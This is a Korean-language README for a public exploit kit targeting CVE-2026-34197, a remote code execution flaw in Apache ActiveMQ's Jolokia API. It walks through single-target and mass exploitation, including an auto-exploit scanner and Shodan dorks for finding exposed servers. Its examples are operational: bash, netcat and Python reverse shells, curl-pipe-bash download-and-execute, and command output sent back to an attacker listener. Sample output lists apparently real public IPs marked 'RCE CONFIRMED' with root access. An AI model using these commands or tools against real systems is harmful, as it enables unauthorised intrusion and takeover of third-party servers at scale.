
Apache ActiveMQ의 Jolokia API를 통한 RCE 취약점(CVE-2026-34197) 익스플로잇으로, 명령 출력 캡처, 대량 스캔, 자동 익스플로잇 기능을 제공합니다.
CVE-2026-34197은 Apache ActiveMQ Classic의 치명적인 원격 코드 실행(RCE) 취약점으로, 인증된 공격자가 웹 콘솔에 노출된 Jolokia API를 통해 임의의 운영 체제 명령을 실행할 수 있게 합니다.
이 취약점은 13년 이상 존재해 왔으며, Jolokia(HTTP-JMX 브리지), ActiveMQ MBeans, 네트워크 커넥터 및 VM 전송 간의 상호 작용에서 발생합니다.
[!CAUTION] 이는 KONDOR DEV SECURITY가 개발한 최초의 공개 PoC입니다. 승인된 보안 평가에서만 사용하십시오.
id, whoami, cat /etc/passwd)의 출력이 터미널에 자동으로 표시됩니다version_check.py) — 멀티스레드 버전 탐지 + 타겟 공격| CVE ID | CVE-2026-34197 |
| 심각도 | |
| 유형 | 원격 코드 실행(RCE) |
| CWE | CWE-20(부적절한 입력 검증) / CWE-94(코드 주입) |
| 영향 범위 | ActiveMQ Classic < 5.19.4 및 6.0.0 — 6.2.2 |
| 패치 버전 | 5.19.4 / 6.2.3 |
| 인증 필요 | 예(기본 자격 증명 admin:admin이 일반적임) |
| 무인증 가능 | 6.0.0 — 6.1.1(CVE-2024-32114로 인해) |
| 기본 포트 | 8161(웹 콘솔) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### 단계별 분석
| 단계 | 동작 | 구성 요소 |
|:----:|--------|-----------|
| **1** | 공격자가 `/api/jolokia/`에 POST를 전송하여 Broker MBean에서 `addNetworkConnector`를 호출 | Jolokia API |
| **2** | ActiveMQ가 `vm://` 전송 URI를 처리하고 `brokerConfig`가 원격 URL을 가리키는 임시 브로커를 생성 | VM 전송 |
| **3** | `xbean:` 스킴이 공격자 서버에서 Spring XML 구성 파일 다운로드를 트리거 | Spring / XBean |
| **4** | Spring이 XML의 모든 빈을 인스턴스화하며, 그중 하나가 `Runtime.getRuntime().exec()`를 호출 | Spring 컨텍스트 |
| **5** | 간단한 명령의 경우 출력이 캡처되어 HTTP POST를 통해 공격자의 리스너로 자동 전송 | 출력 캡처 |
---
## 프로젝트 구조```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### Lab 환경 (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### 스캐너 + 자동 익스플로잇 (대량 타깃에 권장)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP(-l / --lhost) 이해하기-l(또는 --lhost) 매개변수는 익스플로잇이 작동하는 데 중요합니다. 이는 악성 Spring XML 페이로드를 제공할 머신의 IP 주소를 지정합니다. 대상 ActiveMQ 서버는 페이로드를 다운로드하기 위해 네트워크를 통해 이 IP에 도달할 수 있어야 합니다.
ATTACKER_IP란 무엇인가?익스플로잇이 실행되면 ActiveMQ에 *"http://ATTACKER_IP:8888/payload.xml에서 구성을 다운로드하세요"*라고 지시합니다. 그러면 ActiveMQ는 사용자 머신으로 아웃바운드 HTTP 요청을 보냅니다. 사용자에게 도달할 수 없으면 익스플로잇은 조용히 실패합니다.```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### `ATTACKER_IP` 확인 방법
| 시나리오 | 확인 방법 | 예시 |
|----------|---------------|---------|
| **동일 LAN** (랩, 내부 침투 테스트) | 로컬/사설 IP | `ip a` → `192.168.1.50` |
| **VPN** (HTB, THM, 내부 네트워크) | VPN 터널 IP | `ip a show tun0` → `10.10.14.23` |
| **인터넷을 통한 원격 대상** | 공인 IP | `curl ifconfig.me` → `203.0.113.42` |
| **클라우드 VPS** (서버에서 공격) | VPS 공인 IP | 클라우드 제공업체 대시보드 확인 |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| 실수 | 실패 이유 | 해결 방법 |
|---|---|---|
127.0.0.1 또는 localhost 사용 | 대상이 자신에게서 다운로드를 시도하며, 사용자로부터가 아님 | 실제 네트워크 IP 사용 |
인터넷 대상에 사설 IP(192.168.x.x) 사용 | 대상이 사용자의 사설 네트워크로 라우팅할 수 없음 | 공인 IP 또는 VPS 사용 |
공인 IP를 사용하지만 포트 8888이 차단됨 | 방화벽/NAT가 대상으로부터의 인바운드 연결을 차단 | 방화벽/라우터에서 포트 8888을 열거나, 열린 포트와 함께 -lp 사용 |
잘못된 인터페이스 IP 사용(예: tun0 대신 eth0) | 대상이 해당 네트워크 세그먼트에 도달할 수 없음 | 대상으로 가는 경로가 있는 인터페이스와 일치 |
익스플로잇을 실행하기 전에 대상이 사용자의 리스너에 도달할 수 있는지 확인하세요:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### 포트 포워딩 (NAT 시나리오)
라우터/NAT 뒤에 있고 인터넷에 노출된 대상을 공격하는 경우:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### 전체 워크플로우 예시```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT]
-l의ATTACKER_IP와 리버스 셸 명령(/dev/tcp/ATTACKER_IP/4444) 내부의ATTACKER_IP는 동일한 연결 가능한 IP여야 합니다. 리버스 셸 명령에서 다른 IP를 사용하면 셸이 잘못된 위치에 연결됩니다.
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### 대량 스캔 (다중 대상)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
targets.txt 파일에는 한 줄에 하나의 URL이 포함되어야 합니다:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
Mass scan 기능:
- **자동 중복 제거** — 중복 URL은 자동으로 제거됩니다
- **단일 HTTP 서버** — 페이로드 서버가 한 번 시작되어 모든 대상에 재사용됩니다
- **인증 폴백** — 자격 증명이 실패하면(401), 인증 없이 자동으로 재시도합니다 (CVE-2024-32114)
- **무작위 커넥터 이름** — 대상 간 JMX 등록 충돌을 방지합니다
- **증분 저장** — 취약한 대상은 즉시 저장됩니다 (Ctrl+C 안전)
- **HTTPS 지원** — HTTP 및 HTTPS 대상 모두에서 작동합니다
### 리버스 셸
특수 문자(`>`, `&`, `|`, `;`, `$` 등)가 포함된 리버스 셸 및 명령은 XML/셸 이스케이프 문제를 피하기 위해 **자동으로 base64로 인코딩**됩니다.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
참고: 익스플로잇을 실행하기 전에 리스너를 시작하세요:
nc -lvnp 4444
exploit.py와 version_check.py는 id, whoami, cat /etc/passwd, hostname 등과 같은 간단한 명령의 명령 출력을 자동으로 캡처하고 표시할 수 있습니다.
간단한 명령을 실행하면 익스플로잇이 자동으로 이를 래핑하여 stdout/stderr를 HTTP POST를 통해 리스너로 다시 전송합니다.``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### 출력 예시```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| 명령 유형 | 예시 | 동작 |
|---|---|---|
| 단순 명령 | id, whoami, cat /etc/passwd, ls -la, uname -a | 출력이 자동으로 캡처되어 표시됨 |
| 리버스 셸 | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | 대화형으로 감지됨 — 래핑 없음, 기존과 동일하게 작동 |
| curl/wget 사용 명령 | curl http://..., wget http://... | 대화형으로 감지됨 — 래핑 없음, 간섭 방지 |
감지는 자동으로 이루어집니다. 추가 플래그를 전달할 필요가 없습니다.
출력 캡처에는 대상 시스템에 curl 또는 wget이 필요합니다. 둘 다 없는 경우:
[!TIP] 대부분의 Linux 시스템(및 ActiveMQ Docker 이미지)에는
curl이 사전 설치되어 있습니다. 출력 캡처가 타임아웃되지만 RCE가 확인된 경우, 대상에curl과wget이 모두 없는 것입니다.
| 플래그 | 설명 | 기본값 |
|---|---|---|
-t, --target | 단일 대상 URL | — |
-T, --targets-file | 대상 URL이 포함된 파일 (줄당 하나) | — |
-l, --lhost | 페이로드를 제공할 공격자 IP | 필수 |
-lp, --lport | 로컬 HTTP 서버 포트 | 8888 |
-c, --command | 실행할 OS 명령 | 필수 |
-u, --user | Jolokia 사용자 이름 | admin |
-p, --password | Jolokia 비밀번호 | admin |
--no-auth | 인증 건너뛰기 | false |
--broker-name | 브로커 이름 재정의 | 자동 감지 |
-o, --output | 취약한 대상용 출력 파일 | vulnerables.txt |
--timeout-wait | 페이로드 다운로드 대기 시간(초) | 15 |
참고:
-t와-T는 상호 배타적입니다. 둘 중 하나만 사용하세요.
version_check.py)다중 대상에 권장되는 도구입니다. 먼저 모든 대상에서 ActiveMQ 버전을 감지한 다음(빠르고 멀티스레드), 페이로드 콜백을 통한 실제 RCE 검증으로 취약한 대상만 자동으로 익스플로잇하는 2단계 파이프라인입니다.
version_check.py vs exploit.py 사용 시점| 시나리오 | 도구 | 이유 |
|---|---|---|
| 대상 목록이 있고 어떤 것이 취약한지 찾고 싶을 때 | version_check.py | 먼저 버전을 스캔(빠름)한 후 취약한 대상만 익스플로잇 |
| 익스플로잇 없이 스캔만 하고 싶을 때 (정찰 전용) | version_check.py | 스캔 전용 모드로 -l/-c 생략 |
| 단일 확인된 대상이 있을 때 | exploit.py | 더 간단하고 직접적인 익스플로잇 |
| 특정 호스트 하나를 지금 익스플로잇하고 싶을 때 | exploit.py | 스캔 오버헤드 없음 |
| Shodan/LeakIX에서 100개 이상의 대상이 있을 때 | version_check.py | 멀티스레드 1단계가 대규모 목록을 몇 초 만에 처리 |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### 버전 분류 로직
스캐너는 영향을 받는 범위를 기반으로 버전을 자동으로 분류합니다:
| 버전 | 분류 |
|---------|---------------|
| `< 5.19.4` (예: 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (예: 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` ~ `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### 단계별 사용 가이드
#### 1단계 — 대상 파일 준비
한 줄에 URL 하나씩 `targets.txt` 파일을 생성합니다. 중복 항목은 자동으로 제거됩니다.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] 헌팅 가이드를 사용하여 Shodan, LeakIX, FOFA, Censys 또는 Google Dorks를 통해 대상을 찾으세요.
익스플로잇 없이 어떤 대상이 취약한지 식별만 하려면 -l과 -c를 생략하세요:```bash
python version_check.py -T targets.txt
이것은 **1단계만** 실행합니다. HTTP 서버가 시작되지 않고, 페이로드가 전송되지 않으며, 명령이 실행되지 않습니다. 출력 파일에는 취약한 각 대상에 대한 버전 정보가 포함됩니다:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
스레드를 더 늘리면 스캔 속도를 높일 수 있습니다:```bash python version_check.py -T targets.txt --threads 20
#### 3단계 — 스캔 + 자동 익스플로잇 (전체 파이프라인)
한 번의 실행으로 스캔 **및** 익스플로잇을 수행하려면 `-l`(사용자의 ATTACKER_IP)과 `-c`(명령)를 추가하세요:```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
이 두 단계를 모두 실행합니다:
[VULNERABLE]로 표시된 대상만 공격합니다(순차적, 콜백 검증 포함)[!IMPORTANT]
ATTACKER_IP는 대상에서 도달 가능해야 합니다. 대상 ActiveMQ 서버는http://ATTACKER_IP:8888/payload.xml로 아웃바운드 HTTP 요청을 보냅니다. 올바른 IP 선택에 대한 자세한 내용은 ATTACKER_IP 가이드를 참조하세요.
취약한 것으로 확인된 대상은 출력 파일(기본값: confirmados.txt)에 증분 저장됩니다:```
http://52.234.160.12:8161 | 5.15.9 | admin
`URL | 버전 | 인증 방식` 형식입니다. 이후 `exploit.py`와 함께 개별적으로 사용하여 추가 사후 침투 작업을 수행할 수 있습니다.
### 사용 예시```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
version_check.py에서 ATTACKER_IP가 작동하는 방식-l 매개변수는 exploit.py에서와 정확히 동일하게 작동하지만, 한 가지 중요한 차이점이 있습니다. HTTP 서버는 한 번만 시작되어 2단계의 모든 대상에 걸쳐 재사용된다는 점입니다.```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**1단계는 `ATTACKER_IP`가 필요하지 않습니다** — Jolokia에 버전 정보만 조회하기 때문입니다. IP를 노출하지 않고 정찰만 하려면 1단계만 단독으로 실행할 수 있습니다.
**2단계는 `ATTACKER_IP`가 필요합니다** — 대상이 페이로드를 다운로드하려면 공격자의 HTTP 서버에 연결할 수 있어야 합니다. 대상이 연결할 수 없으면 타임아웃(기본값: 15초)이 발생하고 "콜백 수신 없음"으로 표시되지만, 이것이 반드시 취약하지 않다는 의미는 아닙니다(방화벽이 아웃바운드 트래픽을 차단할 수 있음).
### 매개변수
| 플래그 | 설명 | 기본값 |
|------|-------------|---------|
| `-T, --targets-file` | 대상 URL 목록이 포함된 파일(줄당 하나) | *필수* |
| `-l, --lhost` | 콜백용 공격자 IP(2단계 활성화) | — |
| `-c, --command` | 실행할 명령(2단계 활성화) | — |
| `-lp, --lport` | 로컬 HTTP 서버 포트 | `8888` |
| `-o, --output` | 확인된 대상 출력 파일 | `confirmados.txt` |
| `-u, --user` | Jolokia 사용자 이름 | `admin` |
| `-p, --password` | Jolokia 비밀번호 | `admin` |
| `--no-auth` | 인증 건너뛰기 | `false` |
| `--threads` | 1단계 동시 스레드 수 | `10` |
| `--timeout` | 1단계 요청당 타임아웃 | `10s` |
| `--wait` | 2단계에서 콜백 대기 시간(초) | `15s` |
> **참고:** 2단계를 활성화하려면 `-l`과 `-c`를 함께 제공해야 합니다. 둘 중 하나라도 없으면 1단계(스캔)만 실행됩니다.
### 기능
- **2단계 파이프라인** — 먼저 빠른 버전 스캔, 그다음 대상 공격
- **멀티스레드 1단계** — 수백 개의 대상을 몇 초 안에 스캔
- **스마트 브로커 감지** — `brokerName=*` 와일드카드 응답을 처리하고 MBean 키에서 실제 브로커 이름을 추출
- **인증 폴백** — `admin:admin`이 실패하면(401) 인증 없이 재시도(CVE-2024-32114)
- **무작위 커넥터 이름** — JMX 충돌 방지(대상별 고유 `rce{random8}`)
- **자동 base64 래핑** — 리버스 셸 및 특수 문자가 기본적으로 동작
- **증분 저장** — 확인된 대상을 즉시 저장(스캔 중 Ctrl+C 안전)
- **스캔 전용 모드** — `-l`/`-c`를 생략하면 공격 없이 버전만 감지
- **버전 분류** — 영향 범위에 따라 `[VULNERABLE]` / `[PATCHED]` 표시
- **단일 HTTP 서버** — 2단계에서 한 번 시작하여 모든 대상에 재사용(포트 충돌 없음)
### `version_check.py`를 사용한 리버스 셸
`version_check.py`로 리버스 셸을 보낼 때는 **두 가지를 동시에 실행**해야 합니다:
1. 들어오는 셸 연결을 기다리는 머신의 **netcat 리스너**
2. 대상을 스캔하고 공격하는 **version_check.py** 명령
리스너 포트(`nc -lvnp PORT`)는 리버스 셸 명령 내부의 포트(`/dev/tcp/ATTACKER_IP/PORT`)와 **일치해야 합니다**.```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### 다른 포트 사용하기
양쪽이 일치하기만 하면 원하는 포트를 사용할 수 있습니다:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **혼동을 피해야 할 포트:** 이 익스플로잇은 서로 다른 두 가지 용도로 **두 개의 서로 다른 포트**를 사용합니다:
> - `-lp` (기본값 `8888`) — ActiveMQ가 XML 페이로드를 다운로드하는 HTTP 서버 포트입니다. 이는 스크립트가 자동으로 처리합니다.
> - `/dev/tcp/.../4444` 안의 포트 — 사용자가 `nc`로 리슨하는 리버스 셸 콜백 포트입니다. 이 포트를 여는 것은 사용자의 책임입니다.
>
> 이 둘은 **서로 독립적**입니다. 혼동하지 마세요. 셸을 위해 `nc -lvnp 4444`가 필요하며, 스크립트는 내부적으로 `:8888`을 처리합니다.
### 예제 출력```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| 2단계 결과 | 의미 | 다음 단계 |
|---|---|---|
RCE CONFIRMED + Command output: | 대상이 명령을 실행하고 출력을 다시 보냄 | 완전 성공 — 출력을 직접 확인할 수 있음 |
RCE CONFIRMED (출력 없음) | 대상이 페이로드를 다운로드했지만 출력을 받지 못함 | RCE는 작동하지만 대상에 curl/wget이 없을 수 있음; 리버스 셸 사용 |
No callback received within Ns | 대상이 제한 시간 내에 HTTP 서버에 도달하지 못함 | ATTACKER_IP 연결 가능 여부, 방화벽 확인 또는 --wait 증가 |
Jolokia accepted (status=200) | Jolokia가 요청을 성공적으로 처리함 | 좋은 신호 — 콜백 대기 |
Jolokia status=500: ... | Jolokia가 오류를 반환함 | 그래도 작동할 수 있음(500에도 XML 다운로드가 발생할 수 있음); 로그 확인 |
HTTP 401 | 이 대상에 대한 인증 실패 | 대상에 다른 자격 증명이 필요함 |
HTTP 403 | Jolokia가 제한됨 | 대상에 ACL이 있음 — 이 방법으로는 악용 불가 |
Connection refused / Timeout | 대상에 연결할 수 없음 | 네트워크 문제 또는 대상이 다운됨 |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## 헌팅 및 정찰
**Shodan**, **LeakIX**, **FOFA**, **Censys**, **ZoomEye**, **Google Dorks**를 사용하여 노출된 Apache ActiveMQ 인스턴스를 찾기 위한 상세 가이드 — 버전별 Dork, Jolokia 탐지, CLI/API 사용법, 대상 검증 단계, SIEM/IDS 규칙, 그리고 대응 우선순위를 포함합니다.
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### 빠른 Shodan Dork```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### 대상 검증```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
